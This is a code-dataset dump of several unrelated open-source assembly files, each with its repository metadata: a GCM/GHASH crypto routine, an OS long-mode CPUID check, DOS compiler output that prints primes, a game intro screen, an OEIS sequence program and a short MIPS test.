pxor mm6,[144+eax*8+esp]
pxor mm7,mm3
pxor mm6,[400+ebp*8+esp]
xor bl,BYTE [ebp*1+esp]
mov al,dl
movd ecx,mm7
movzx ebx,bl
psrlq mm7,8
movq mm3,mm6
mov ebp,eax
psrlq mm6,8
pxor mm7,[272+edi*8+esp]
and al,15
psllq mm3,56
pxor mm6,mm1
shr ebp,4
pinsrw mm0,WORD [ebx*2+esi],2
pxor mm7,[16+eax*8+esp]
rol edx,8
pxor mm6,[144+eax*8+esp]
pxor mm7,mm3
pxor mm6,[400+edi*8+esp]
xor cl,BYTE [edi*1+esp]
mov al,dl
movd ebx,mm7
movzx ecx,cl
psrlq mm7,8
movq mm3,mm6
mov edi,eax
psrlq mm6,8
pxor mm7,[272+ebp*8+esp]
and al,15
psllq mm3,56
pxor mm6,mm0
shr edi,4
pinsrw mm2,WORD [ecx*2+esi],2
pxor mm7,[16+eax*8+esp]
rol edx,8
pxor mm6,[144+eax*8+esp]
pxor mm7,mm3
pxor mm6,[400+ebp*8+esp]
xor bl,BYTE [ebp*1+esp]
mov al,dl
movd ecx,mm7
movzx ebx,bl
psrlq mm7,8
movq mm3,mm6
mov ebp,eax
psrlq mm6,8
pxor mm7,[272+edi*8+esp]
and al,15
psllq mm3,56
pxor mm6,mm2
shr ebp,4
pinsrw mm1,WORD [ebx*2+esi],2
pxor mm7,[16+eax*8+esp]
rol edx,8
pxor mm6,[144+eax*8+esp]
pxor mm7,mm3
pxor mm6,[400+edi*8+esp]
xor cl,BYTE [edi*1+esp]
mov al,dl
mov edx,DWORD [532+esp]
movd ebx,mm7
movzx ecx,cl
psrlq mm7,8
movq mm3,mm6
mov edi,eax
psrlq mm6,8
pxor mm7,[272+ebp*8+esp]
and al,15
psllq mm3,56
pxor mm6,mm1
shr edi,4
pinsrw mm0,WORD [ecx*2+esi],2
pxor mm7,[16+eax*8+esp]
rol edx,8
pxor mm6,[144+eax*8+esp]
pxor mm7,mm3
pxor mm6,[400+ebp*8+esp]
xor bl,BYTE [ebp*1+esp]
mov al,dl
movd ecx,mm7
movzx ebx,bl
psrlq mm7,8
movq mm3,mm6
mov ebp,eax
psrlq mm6,8
pxor mm7,[272+edi*8+esp]
and al,15
psllq mm3,56
pxor mm6,mm0
shr ebp,4
pinsrw mm2,WORD [ebx*2+esi],2
pxor mm7,[16+eax*8+esp]
rol edx,8
pxor mm6,[144+eax*8+esp]
pxor mm7,mm3
pxor mm6,[400+edi*8+esp]
xor cl,BYTE [edi*1+esp]
mov al,dl
movd ebx,mm7
movzx ecx,cl
psrlq mm7,8
movq mm3,mm6
mov edi,eax
psrlq mm6,8
pxor mm7,[272+ebp*8+esp]
and al,15
psllq mm3,56
pxor mm6,mm2
shr edi,4
pinsrw mm1,WORD [ecx*2+esi],2
pxor mm7,[16+eax*8+esp]
rol edx,8
pxor mm6,[144+eax*8+esp]
pxor mm7,mm3
pxor mm6,[400+ebp*8+esp]
xor bl,BYTE [ebp*1+esp]
mov al,dl
movd ecx,mm7
movzx ebx,bl
psrlq mm7,8
movq mm3,mm6
mov ebp,eax
psrlq mm6,8
pxor mm7,[272+edi*8+esp]
and al,15
psllq mm3,56
pxor mm6,mm1
shr ebp,4
pinsrw mm0,WORD [ebx*2+esi],2
pxor mm7,[16+eax*8+esp]
rol edx,8
pxor mm6,[144+eax*8+esp]
pxor mm7,mm3
pxor mm6,[400+edi*8+esp]
xor cl,BYTE [edi*1+esp]
mov al,dl
mov edx,DWORD [528+esp]
movd ebx,mm7
movzx ecx,cl
psrlq mm7,8
movq mm3,mm6
mov edi,eax
psrlq mm6,8
pxor mm7,[272+ebp*8+esp]
and al,15
psllq mm3,56
pxor mm6,mm0
shr edi,4
pinsrw mm2,WORD [ecx*2+esi],2
pxor mm7,[16+eax*8+esp]
rol edx,8
pxor mm6,[144+eax*8+esp]
pxor mm7,mm3
pxor mm6,[400+ebp*8+esp]
xor bl,BYTE [ebp*1+esp]
mov al,dl
movd ecx,mm7
movzx ebx,bl
psrlq mm7,8
movq mm3,mm6
mov ebp,eax
psrlq mm6,8
pxor mm7,[272+edi*8+esp]
and al,15
psllq mm3,56
pxor mm6,mm2
shr ebp,4
pinsrw mm1,WORD [ebx*2+esi],2
pxor mm7,[16+eax*8+esp]
rol edx,8
pxor mm6,[144+eax*8+esp]
pxor mm7,mm3
pxor mm6,[400+edi*8+esp]
xor cl,BYTE [edi*1+esp]
mov al,dl
movd ebx,mm7
movzx ecx,cl
psrlq mm7,8
movq mm3,mm6
mov edi,eax
psrlq mm6,8
pxor mm7,[272+ebp*8+esp]
and al,15
psllq mm3,56
pxor mm6,mm1
shr edi,4
pinsrw mm0,WORD [ecx*2+esi],2
pxor mm7,[16+eax*8+esp]
rol edx,8
pxor mm6,[144+eax*8+esp]
pxor mm7,mm3
pxor mm6,[400+ebp*8+esp]
xor bl,BYTE [ebp*1+esp]
mov al,dl
movd ecx,mm7
movzx ebx,bl
psrlq mm7,8
movq mm3,mm6
mov ebp,eax
psrlq mm6,8
pxor mm7,[272+edi*8+esp]
and al,15
psllq mm3,56
pxor mm6,mm0
shr ebp,4
pinsrw mm2,WORD [ebx*2+esi],2
pxor mm7,[16+eax*8+esp]
rol edx,8
pxor mm6,[144+eax*8+esp]
pxor mm7,mm3
pxor mm6,[400+edi*8+esp]
xor cl,BYTE [edi*1+esp]
mov al,dl
mov edx,DWORD [524+esp]
movd ebx,mm7
movzx ecx,cl
psrlq mm7,8
movq mm3,mm6
mov edi,eax
psrlq mm6,8
pxor mm7,[272+ebp*8+esp]
and al,15
psllq mm3,56
pxor mm6,mm2
shr edi,4
pinsrw mm1,WORD [ecx*2+esi],2
pxor mm7,[16+eax*8+esp]
pxor mm6,[144+eax*8+esp]
xor bl,BYTE [ebp*1+esp]
pxor mm7,mm3
pxor mm6,[400+ebp*8+esp]
movzx ebx,bl
pxor mm2,mm2
psllq mm1,4
movd ecx,mm7
psrlq mm7,4
movq mm3,mm6
psrlq mm6,4
shl ecx,4
pxor mm7,[16+edi*8+esp]
psllq mm3,60
movzx ecx,cl
pxor mm7,mm3
pxor mm6,[144+edi*8+esp]
pinsrw mm0,WORD [ebx*2+esi],2
pxor mm6,mm1
movd edx,mm7
pinsrw mm2,WORD [ecx*2+esi],3
psllq mm0,12
pxor mm6,mm0
psrlq mm7,32
pxor mm6,mm2
mov ecx,DWORD [548+esp]
movd ebx,mm7
movq mm3,mm6
psllw mm6,8
psrlw mm3,8
por mm6,mm3
bswap edx
pshufw mm6,mm6,27
bswap ebx
cmp ecx,DWORD [552+esp]
jne NEAR L$004outer
mov eax,DWORD [544+esp]
mov DWORD [12+eax],edx
mov DWORD [8+eax],ebx
movq [eax],mm6
mov esp,DWORD [556+esp]
emms
pop edi
pop esi
pop ebx
pop ebp
ret
global _gcm_init_clmul
align 16
_gcm_init_clmul:
L$_gcm_init_clmul_begin:
mov edx,DWORD [4+esp]
mov eax,DWORD [8+esp]
call L$005pic
L$005pic:
pop ecx
lea ecx,[(L$bswap-L$005pic)+ecx]
movdqu xmm2,[eax]
pshufd xmm2,xmm2,78
pshufd xmm4,xmm2,255
movdqa xmm3,xmm2
psllq xmm2,1
pxor xmm5,xmm5
psrlq xmm3,63
pcmpgtd xmm5,xmm4
pslldq xmm3,8
por xmm2,xmm3
pand xmm5,[16+ecx]
pxor xmm2,xmm5
movdqa xmm0,xmm2
movdqa xmm1,xmm0
pshufd xmm3,xmm0,78
pshufd xmm4,xmm2,78
pxor xmm3,xmm0
pxor xmm4,xmm2
db 102,15,58,68,194,0
db 102,15,58,68,202,17
db 102,15,58,68,220,0
xorps xmm3,xmm0
xorps xmm3,xmm1
movdqa xmm4,xmm3
psrldq xmm3,8
pslldq xmm4,8
pxor xmm1,xmm3
pxor xmm0,xmm4
movdqa xmm4,xmm0
movdqa xmm3,xmm0
psllq xmm0,5
pxor xmm3,xmm0
psllq xmm0,1
pxor xmm0,xmm3
psllq xmm0,57
movdqa xmm3,xmm0
pslldq xmm0,8
psrldq xmm3,8
pxor xmm0,xmm4
pxor xmm1,xmm3
movdqa xmm4,xmm0
psrlq xmm0,1
pxor xmm1,xmm4
pxor xmm4,xmm0
psrlq xmm0,5
pxor xmm0,xmm4
psrlq xmm0,1
pxor xmm0,xmm1
pshufd xmm3,xmm2,78
pshufd xmm4,xmm0,78
pxor xmm3,xmm2
movdqu [edx],xmm2
pxor xmm4,xmm0
movdqu [16+edx],xmm0
db 102,15,58,15,227,8
movdqu [32+edx],xmm4
ret
global _gcm_gmult_clmul
align 16
_gcm_gmult_clmul:
L$_gcm_gmult_clmul_begin:
mov eax,DWORD [4+esp]
mov edx,DWORD [8+esp]
call L$006pic
L$006pic:
pop ecx
lea ecx,[(L$bswap-L$006pic)+ecx]
movdqu xmm0,[eax]
movdqa xmm5,[ecx]
movups xmm2,[edx]
db 102,15,56,0,197
movups xmm4,[32+edx]
movdqa xmm1,xmm0
pshufd xmm3,xmm0,78
pxor xmm3,xmm0
db 102,15,58,68,194,0
db 102,15,58,68,202,17
db 102,15,58,68,220,0
xorps xmm3,xmm0
xorps xmm3,xmm1
movdqa xmm4,xmm3
psrldq xmm3,8
pslldq xmm4,8
pxor xmm1,xmm3
pxor xmm0,xmm4
movdqa xmm4,xmm0
movdqa xmm3,xmm0
psllq xmm0,5
pxor xmm3,xmm0
psllq xmm0,1
pxor xmm0,xmm3
psllq xmm0,57
movdqa xmm3,xmm0
pslldq xmm0,8
psrldq xmm3,8
pxor xmm0,xmm4
pxor xmm1,xmm3
movdqa xmm4,xmm0
psrlq xmm0,1
pxor xmm1,xmm4
pxor xmm4,xmm0
psrlq xmm0,5
pxor xmm0,xmm4
psrlq xmm0,1
pxor xmm0,xmm1
db 102,15,56,0,197
movdqu [eax],xmm0
ret
global _gcm_ghash_clmul
align 16
_gcm_ghash_clmul:
L$_gcm_ghash_clmul_begin:
push ebp
push ebx
push esi
push edi
mov eax,DWORD [20+esp]
mov edx,DWORD [24+esp]
mov esi,DWORD [28+esp]
mov ebx,DWORD [32+esp]
call L$007pic
L$007pic:
pop ecx
lea ecx,[(L$bswap-L$007pic)+ecx]
movdqu xmm0,[eax]
movdqa xmm5,[ecx]
movdqu xmm2,[edx]
db 102,15,56,0,197
sub ebx,16
jz NEAR L$008odd_tail
movdqu xmm3,[esi]
movdqu xmm6,[16+esi]
db 102,15,56,0,221
db 102,15,56,0,245
movdqu xmm5,[32+edx]
pxor xmm0,xmm3
pshufd xmm3,xmm6,78
movdqa xmm7,xmm6
pxor xmm3,xmm6
lea esi,[32+esi]
db 102,15,58,68,242,0
db 102,15,58,68,250,17
db 102,15,58,68,221,0
movups xmm2,[16+edx]
nop
sub ebx,32
jbe NEAR L$009even_tail
jmp NEAR L$010mod_loop
align 32
L$010mod_loop:
pshufd xmm4,xmm0,78
movdqa xmm1,xmm0
pxor xmm4,xmm0
nop
db 102,15,58,68,194,0
db 102,15,58,68,202,17
db 102,15,58,68,229,16
movups xmm2,[edx]
xorps xmm0,xmm6
movdqa xmm5,[ecx]
xorps xmm1,xmm7
movdqu xmm7,[esi]
pxor xmm3,xmm0
movdqu xmm6,[16+esi]
pxor xmm3,xmm1
db 102,15,56,0,253
pxor xmm4,xmm3
movdqa xmm3,xmm4
psrldq xmm4,8
pslldq xmm3,8
pxor xmm1,xmm4
pxor xmm0,xmm3
db 102,15,56,0,245
pxor xmm1,xmm7
movdqa xmm7,xmm6
movdqa xmm4,xmm0
movdqa xmm3,xmm0
psllq xmm0,5
pxor xmm3,xmm0
psllq xmm0,1
pxor xmm0,xmm3
db 102,15,58,68,242,0
movups xmm5,[32+edx]
psllq xmm0,57
movdqa xmm3,xmm0
pslldq xmm0,8
psrldq xmm3,8
pxor xmm0,xmm4
pxor xmm1,xmm3
pshufd xmm3,xmm7,78
movdqa xmm4,xmm0
psrlq xmm0,1
pxor xmm3,xmm7
pxor xmm1,xmm4
db 102,15,58,68,250,17
movups xmm2,[16+edx]
pxor xmm4,xmm0
psrlq xmm0,5
pxor xmm0,xmm4
psrlq xmm0,1
pxor xmm0,xmm1
db 102,15,58,68,221,0
lea esi,[32+esi]
sub ebx,32
ja NEAR L$010mod_loop
L$009even_tail:
pshufd xmm4,xmm0,78
movdqa xmm1,xmm0
pxor xmm4,xmm0
db 102,15,58,68,194,0
db 102,15,58,68,202,17
db 102,15,58,68,229,16
movdqa xmm5,[ecx]
xorps xmm0,xmm6
xorps xmm1,xmm7
pxor xmm3,xmm0
pxor xmm3,xmm1
pxor xmm4,xmm3
movdqa xmm3,xmm4
psrldq xmm4,8
pslldq xmm3,8
pxor xmm1,xmm4
pxor xmm0,xmm3
movdqa xmm4,xmm0
movdqa xmm3,xmm0
psllq xmm0,5
pxor xmm3,xmm0
psllq xmm0,1
pxor xmm0,xmm3
psllq xmm0,57
movdqa xmm3,xmm0
pslldq xmm0,8
psrldq xmm3,8
pxor xmm0,xmm4
pxor xmm1,xmm3
movdqa xmm4,xmm0
psrlq xmm0,1
pxor xmm1,xmm4
pxor xmm4,xmm0
psrlq xmm0,5
pxor xmm0,xmm4
psrlq xmm0,1
pxor xmm0,xmm1
test ebx,ebx
jnz NEAR L$011done
movups xmm2,[edx]
L$008odd_tail:
movdqu xmm3,[esi]
db 102,15,56,0,221
pxor xmm0,xmm3
movdqa xmm1,xmm0
pshufd xmm3,xmm0,78
pshufd xmm4,xmm2,78
pxor xmm3,xmm0
pxor xmm4,xmm2
db 102,15,58,68,194,0
db 102,15,58,68,202,17
db 102,15,58,68,220,0
xorps xmm3,xmm0
xorps xmm3,xmm1
movdqa xmm4,xmm3
psrldq xmm3,8
pslldq xmm4,8
pxor xmm1,xmm3
pxor xmm0,xmm4
movdqa xmm4,xmm0
movdqa xmm3,xmm0
psllq xmm0,5
pxor xmm3,xmm0
psllq xmm0,1
pxor xmm0,xmm3
psllq xmm0,57
movdqa xmm3,xmm0
pslldq xmm0,8
psrldq xmm3,8
pxor xmm0,xmm4
pxor xmm1,xmm3
movdqa xmm4,xmm0
psrlq xmm0,1
pxor xmm1,xmm4
pxor xmm4,xmm0
psrlq xmm0,5
pxor xmm0,xmm4
psrlq xmm0,1
pxor xmm0,xmm1
L$011done:
db 102,15,56,0,197
movdqu [eax],xmm0
pop edi
pop esi
pop ebx
pop ebp
ret
align 64
L$bswap:
db 15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0
db 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,194
align 64
L$rem_8bit:
dw 0,450,900,582,1800,1738,1164,1358
dw 3600,4050,3476,3158,2328,2266,2716,2910
dw 7200,7650,8100,7782,6952,6890,6316,6510
dw 4656,5106,4532,4214,5432,5370,5820,6014
dw 14400,14722,15300,14854,16200,16010,15564,15630
dw 13904,14226,13780,13334,12632,12442,13020,13086
dw 9312,9634,10212,9766,9064,8874,8428,8494
dw 10864,11186,10740,10294,11640,11450,12028,12094
dw 28800,28994,29444,29382,30600,30282,29708,30158
dw 32400,32594,32020,31958,31128,30810,31260,31710
dw 27808,28002,28452,28390,27560,27242,26668,27118
dw 25264,25458,24884,24822,26040,25722,26172,26622
dw 18624,18690,19268,19078,20424,19978,19532,19854
dw 18128,18194,17748,17558,16856,16410,16988,17310
dw 21728,21794,22372,22182,21480,21034,20588,20910
dw 23280,23346,22900,22710,24056,23610,24188,24510
dw 57600,57538,57988,58182,58888,59338,58764,58446
dw 61200,61138,60564,60758,59416,59866,60316,59998
dw 64800,64738,65188,65382,64040,64490,63916,63598
dw 62256,62194,61620,61814,62520,62970,63420,63102
dw 55616,55426,56004,56070,56904,57226,56780,56334
dw 55120,54930,54484,54550,53336,53658,54236,53790
dw 50528,50338,50916,50982,49768,50090,49644,49198
dw 52080,51890,51444,51510,52344,52666,53244,52798
dw 37248,36930,37380,37830,38536,38730,38156,38094
dw 40848,40530,39956,40406,39064,39258,39708,39646
dw 36256,35938,36388,36838,35496,35690,35116,35054
dw 33712,33394,32820,33270,33976,34170,34620,34558
dw 43456,43010,43588,43910,44744,44810,44364,44174
dw 42960,42514,42068,42390,41176,41242,41820,41630
dw 46560,46114,46692,47014,45800,45866,45420,45230
dw 48112,47666,47220,47542,48376,48442,49020,48830
align 64
L$rem_4bit:
dd 0,0,0,471859200,0,943718400,0,610271232
dd 0,1887436800,0,1822425088,0,1220542464,0,1423966208
dd 0,3774873600,0,4246732800,0,3644850176,0,3311403008
dd 0,2441084928,0,2376073216,0,2847932416,0,3051356160
db 71,72,65,83,72,32,102,111,114,32,120,56,54,44,32,67
db 82,89,80,84,79,71,65,77,83,32,98,121,32,60,97,112
db 112,114,111,64,111,112,101,110,115,115,108,46,111,114,103,62
db 0
| 18.44548
| 77
| 0.706498
|
d930c78d8f6d42658c3c9cd56087890053b283a3
| 1,114
|
asm
|
Assembly
|
OSDev/Try-1/Boot/PM/CheckLM.asm
|
Ashwin-Paudel/Tries
|
91ea32d715eedca528d143cf5e9dfd9ba70804e3
|
[
"Apache-2.0"
] | null | null | null |
OSDev/Try-1/Boot/PM/CheckLM.asm
|
Ashwin-Paudel/Tries
|
91ea32d715eedca528d143cf5e9dfd9ba70804e3
|
[
"Apache-2.0"
] | null | null | null |
OSDev/Try-1/Boot/PM/CheckLM.asm
|
Ashwin-Paudel/Tries
|
91ea32d715eedca528d143cf5e9dfd9ba70804e3
|
[
"Apache-2.0"
] | null | null | null |
;
; CheckLM.asm
; KripayaOS Project
;
; Copyright (c) 2021 KripayaOS Project. All rights reserved.
;
[bits 32]
CheckLM:
; Push all the registers execpt for eax
pushad
pushfd
pop eax
; Used for comparison
mov ecx, eax
; Check if the CPU supports CPUID
xor eax, 1 << 21
push eax
popfd
pushfd
pop eax
push ecx
popfd
; Check if the CPU supports CPUID,
; If not, show an error
cmp eax, ecx
je CPUID_NOT_FOUND
mov eax, 0x80000000
cpuid
cmp eax, 0x80000001
jb CPUID_NOT_FOUND ; If not, show an error
mov eax, 0x80000001
cpuid
test edx, 1 << 29
jz LM_NOT_FOUND ; Show an error
; Restore and return
popad
ret
; CPUID not supported
CPUID_NOT_FOUND:
call clear32
mov esi, CPUID_NOT_FOUND_STR
call print32
jmp $
; Long Mode not supported
LM_NOT_FOUND:
call clear32
mov esi, LONG_MODE_NOT_SUPPORTED_STR
call print32
jmp $
LONG_MODE_NOT_SUPPORTED_STR: db `System: Error: Long mode not supported`, 0
CPUID_NOT_FOUND_STR: db `System: Error: CPUID not supported.`, 0
| 17.967742
| 75
| 0.657989
|
fcfcdd9dc17915b2f4dc98440423b0da5d3f7706
| 7,732
|
asm
|
Assembly
|
ASM/primetest.asm
|
kbilsted/CompilerTeknik
|
f4effdde5ee060eac1c186bc11dd261f1e47d958
|
[
"Apache-2.0"
] | null | null | null |
ASM/primetest.asm
|
kbilsted/CompilerTeknik
|
f4effdde5ee060eac1c186bc11dd261f1e47d958
|
[
"Apache-2.0"
] | null | null | null |
ASM/primetest.asm
|
kbilsted/CompilerTeknik
|
f4effdde5ee060eac1c186bc11dd261f1e47d958
|
[
"Apache-2.0"
] | null | null | null |
DOSSEG
.MODEL SMALL
.STACK 100h
.DATA
hobptr dw 0
hob dw 550h dup(0) ; allocate hob
; error messages
oomstr db 10,13,'Out of memory! Can not allocate another class.','$',0,0
.CODE
jmp START
; ------------ STANDARD FUNCTIONS BEGIN ----------:
new PROC
mov ax, hobptr ; get hop size
push ax ; save pos. of class in stack
add ax, cx ; add size of obj
cmp ax, 550h
jg OutOfMem ; if ax < HOBSIZE jump to OutOfMemory
mov hobptr, ax ; save hop size
pop ax ; ax = pos. of class in hob
ret
OutOfMem:
mov dx, OFFSET oomstr; write out of mem string to screen
mov ah, 9h
int 21h
jmp SystemExit
new ENDP
SystemOutPrint PROC
mov bp, sp
sub bp, 2
mov bx, [bp+4] ; get adr of str obj
mov cx, hob[bx] ; strlen
mov si, bx ; source-print ptr
add si, 2 ; get past length field
printloop:
mov dx, hob[si]
add si, 2 ; next char
mov ah, 2h ; print char
int 21h
loop printloop
ret
SystemOutPrint ENDP
SystemInRead PROC
mov ah, 1h ; read with screen echo
int 21h
mov ah, 0 ; clear AH as only AL contains userinput
ret
SystemInRead ENDP
SystemExit PROC
mov ah, 4ch
int 21h
ret
SystemExit ENDP
Integer_toString PROC
mov bp, sp
sub bp, 2
mov ax, [bp+4] ; get number (first argument)
xor cx, cx ; cx counts size of str
xor di, di ; flag for negative numbers
cmp ax, 0 ; is negative?
jge nonneg
inc di ; di == 1 == number is negative
inc cx
neg ax ; make the number positive
nonneg:
mov si, 10 ; div with reg SI as many times as possible
getDigits:
xor dx, dx
div si
add dx, 48 ; conv digit to ASCII
push dx
inc cx
cmp ax, 0 ; are we done?
jg getDigits
push cx ; store cx
shl cx, 1 ; calc str size = (2*strlen)+2
add cx, 2
call new ; alloc new str
pop cx ; get original strlen
mov si, ax ; ptr to str in hob
mov hob[si], cx ; store size of str
cmp di, 0 ; is no negative?
je toStr
add si, 2 ; next pos
mov hob[si], '-' ; write '-' sign
dec cx
toStr:
add si, 2 ; next pos
pop dx ; get digit
mov hob[si], dx ; store size of str
loop toStr
ret
Integer_toString ENDP
String_charAt PROC
mov bp, sp
sub bp, 2
mov si, bx ; pos in hob where obj begins
mov ax, [bp+4] ; get (first) argument telling pos to get
shl ax, 1 ; ax = ax * 2 every char is 2 elems
add si, ax ; pos in hob to fetch character
mov ax, hob[si+2] ; +2 as first field contains str_len
ret
String_charAt ENDP
String_concat PROC
mov bp, sp
sub bp, 2
mov cx, hob[bx] ; size of caller str
mov si, [bp+4] ; pos in hob of 2nd str len
add cx, hob[si] ; add 2nd str len
add cx, 2 ; add space for sizefield
push cx
call new ; alloc new String object
pop cx ; total strsize
mov si, ax ; can't just use the AX
mov hob[si], cx ; set concat'ed String size
mov cx, hob[bx] ; size of str1
add bx, 4 ; start in 2nd pos (but why +4 instead of +2 ??)
mov di, ax ; destination ptr = adr of new String obj
add di, 2 ; start in 2nd pos
strcat1:
mov si, [bx] ; we can't just use [bx]
mov hob[di], si
add bx, 2
add di, 2
loop strcat1
mov si, [bp+4] ; pos in hob of 2nd str len
mov cx, hob[si] ; size of 2nd str len
mov bx, [bp+4] ; point at start of 2nd string
add bx, 4 ; start in 2nd pos (but why +4??)
strcat2:
mov si, [bx] ; we can't just use [bx]
mov hob[di], si
add bx, 2
add di, 2
loop strcat2
ret
String_concat ENDP
String_length PROC ; str_len length()
mov ax, hob[bx] ; first field in string
ret
String_length ENDP
; ------------ STANDARD FUNCTIONS END ----------:
Prime_isPrime PROC
mov bp, sp ; adjust bp to point at functions local variable
sub bp, 2
push 0 ; put all local variables on stack
push 0 ; put all local variables on stack
; assign
mov ax, 2
push ax
pop ax ; get value (assign)
mov [bp-2], ax ; set local variable i
start_while3:
; condition code
mov ax, [bp-2] ; get local variable i
push ax
;
mov ax, [bp+4] ; get argument variable p
push ax
pop dx
pop ax
cmp ax, dx
jl less_4
xor ax, ax ; is not <
jmp less_end4
less_4:
mov ax, 65535 ; is <
less_end4:
push ax
pop ax ; compare condition code
cmp ax, 0
je end_while3 ; condition is false
mov ax, [bp+4] ; get argument variable p
push ax
;
mov ax, [bp-2] ; get local variable i
push ax
pop si
pop ax
xor dx, dx
div si
push dx
;
mov ax, 0
push ax
; equal
pop dx
pop ax
cmp ax, dx
je eq_6
xor ax, ax ; is !=
jmp eq_end6
eq_6:
mov ax, 65535 ; is ==
eq_end6:
push ax
pop cx ; start if_4
cmp cx, 0
je else_5
then_5:
jmp Prime_isPrime_end ; return
jmp endif_5
else_5:
endif_5:
jmp start_while3 ; loop once more
end_while3:
; fnccallGen
push bp
push bx
; fnccallGen
push bp
push bx
mov ax, [bp+4] ; get argument variable p
push ax
call Integer_toString
pop cx ; de-stack arguments
pop bx
pop bp
push ax ; store generated String
call SystemOutPrint
pop cx ; de-stack argument
pop bx
pop bp
; fnccallGen
push bp
push bx
mov ax, hob[bx+0] ; get class variable space
push ax
call SystemOutPrint
pop cx ; de-stack argument
pop bx
pop bp
pop ax ; de-stack local variables
pop ax ; de-stack local variables
Prime_isPrime_end:
ret
Prime_isPrime ENDP
START:
mov ax, @data ; setup DOS program
mov ds, ax
; allocate object main resides in
mov cx, 2
call new
mov bp, sp ; adjust bp to point at functions local variable
sub bp, 2 ;
mov bx, ax ; store main's 'this'
; execute mains contents
push 0 ; push local variables to stack
; assign
mov ax, 3
push ax
pop ax ; get value (assign)
mov [bp-0], ax ; set local variable p
; assign
; string - allocate class and return pointer on stack
mov cx, 4 ; length of 2*str + 2
call new
mov si, ax ; mov (adr of obj in hob) to si
mov hob[si], 1 ; insert strlength
mov hob[si+2], ' '
push ax
pop ax ; get value (assign)
mov hob[bx+0], ax ; set class variable space
start_while1:
; condition code
mov ax, [bp-0] ; get local variable p
push ax
;
mov ax, 100
push ax
pop dx
pop ax
cmp ax, dx
jl less_2
xor ax, ax ; is not <
jmp less_end2
less_2:
mov ax, 65535 ; is <
less_end2:
push ax
pop ax ; compare condition code
cmp ax, 0
je end_while1 ; condition is false
; fnccallGen
push bp
mov ax, [bp-0] ; get local variable p
push ax
call Prime_isPrime
pop cx ; de-stack arguments
pop bp
; assign
mov ax, [bp-0] ; get local variable p
push ax
;
mov ax, 1
push ax
pop dx
pop ax
add ax, dx
push ax
pop ax ; get value (assign)
mov [bp-0], ax ; set local variable p
jmp start_while1 ; loop once more
end_while1:
jmp SystemExit
END
| 23.717791
| 76
| 0.559493
|
de77fbed4cf8b34799f98504fe109241c8ef763b
| 1,186
|
asm
|
Assembly
|
programs/asm/screens/intro/intro.asm
|
Zenith80/initial_emulator
|
2c2bfbed9fe0ed55c856a02b52a5fdd97f328e72
|
[
"Apache-2.0"
] | 9
|
2017-11-12T23:16:14.000Z
|
2017-12-08T19:42:44.000Z
|
programs/asm/screens/intro/intro.asm
|
Zenith80/Zenith80
|
2c2bfbed9fe0ed55c856a02b52a5fdd97f328e72
|
[
"Apache-2.0"
] | null | null | null |
programs/asm/screens/intro/intro.asm
|
Zenith80/Zenith80
|
2c2bfbed9fe0ed55c856a02b52a5fdd97f328e72
|
[
"Apache-2.0"
] | null | null | null |
.include "keyboard.inc"
.include "data.inc"
intro:
call cls
ld hl, .strings
ld bc, 0
ld a, 7
call looped_print
.loop:
call shared@screens
cp keyb
jp z, .begin
jr .loop
.begin:
ld hl, data
inc hl
ld (hl), 1
ret
.strings: .dw string1@intro, dark_prince@shared_strings, string2@intro
.dw dark_country@shared_strings, string3@intro, shared_options, options@intro
.string1:
.db "The year is 1394. For years, the dark prince ",0
.string2:
.db " has ruled the country of ",0
.string3:
.db " with an iron fist. Now, people are starting to "
.db "fight back.\n"
.db "\n"
.db "Your job as the player is to maintain a network of informants, "
.db "plan out battles, and overthrow him.\n"
.db "\n"
.db "Unlike in most games, you don't control one character, or even a "
.db "group of characters. You alternate between many different people "
.db "with the job of coordinating them.\n"
.db "\n"
.db "However, there *are* still traditional RPG elements - exploring, "
.db "fighting, character classes, levelling up - but the characters "
.db "are premade, and each one has their own ",'"',"feel",'"',".\n"
.db "\n"
.db "Good luck.\n"
.db 0x0A,0
.options:
.db "'b' - Begin\n"
.db 0
| 23.254902
| 77
| 0.690556
|
76a10d5ec8f0bc9be9f6e65204977a689478c177
| 695
|
asm
|
Assembly
|
oeis/161/A161225.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/161/A161225.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/161/A161225.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A161225: a(n) = number of distinct integers that can be constructed by removing one or more 0's from the binary representation of n, and concatenating while leaving the remaining digits in their same order.
; Submitted by Christian Krause
; 0,1,0,2,1,1,0,3,2,3,1,2,1,1,0,4,3,5,2,5,3,3,1,3,2,3,1,2,1,1,0,5,4,7,3,8,5,5,2,7,5,7,3,5,3,3,1,4,3,5,2,5,3,3,1,3,2,3,1,2,1,1,0,6,5,9,4,11,7,7,3,11,8,11,5,8,5,5,2,9,7,11,5,11,7,7,3,7,5,7,3,5,3,3,1,5,4,7,3,8
add $0,1
mov $1,1
lpb $0
mov $3,$0
lpb $3
mov $3,1
cmp $6,0
add $2,$6
mov $5,$2
add $2,1
max $4,$5
sub $3,$4
lpe
mov $5,1
lpb $0
dif $0,$2
add $5,1
lpe
div $0,2
mul $1,$5
lpe
mov $0,$1
sub $0,1
| 24.821429
| 208
| 0.579856
|
b678bd25eaf8b986bf200b2e75bf4274c15cff73
| 78
|
asm
|
Assembly
|
P4/dm_function_test.asm
|
OliverDu8-24/BUAA-CO-2021
|
9959abd90de9039d751bab64f153547e76066665
|
[
"MIT"
] | 1
|
2022-03-21T15:07:09.000Z
|
2022-03-21T15:07:09.000Z
|
P4/dm_function_test.asm
|
OliverDu8-24/BUAA-CO-2021
|
9959abd90de9039d751bab64f153547e76066665
|
[
"MIT"
] | null | null | null |
P4/dm_function_test.asm
|
OliverDu8-24/BUAA-CO-2021
|
9959abd90de9039d751bab64f153547e76066665
|
[
"MIT"
] | null | null | null |
ori $1, $0, 1
ori $2, $0, 65535
subu $3, $0, $1
slt $4, $3, $1
addu $5, $4, $3
| 15.6
| 17
| 0.461538
|
f8a3873175e6596181838aaf750c6dabbeaadcc4
| 5,009
|
asm
|
Assembly
|
constants/pokemon_constants.asm
|
AmateurPanda92/pokemon-rby-dx
|
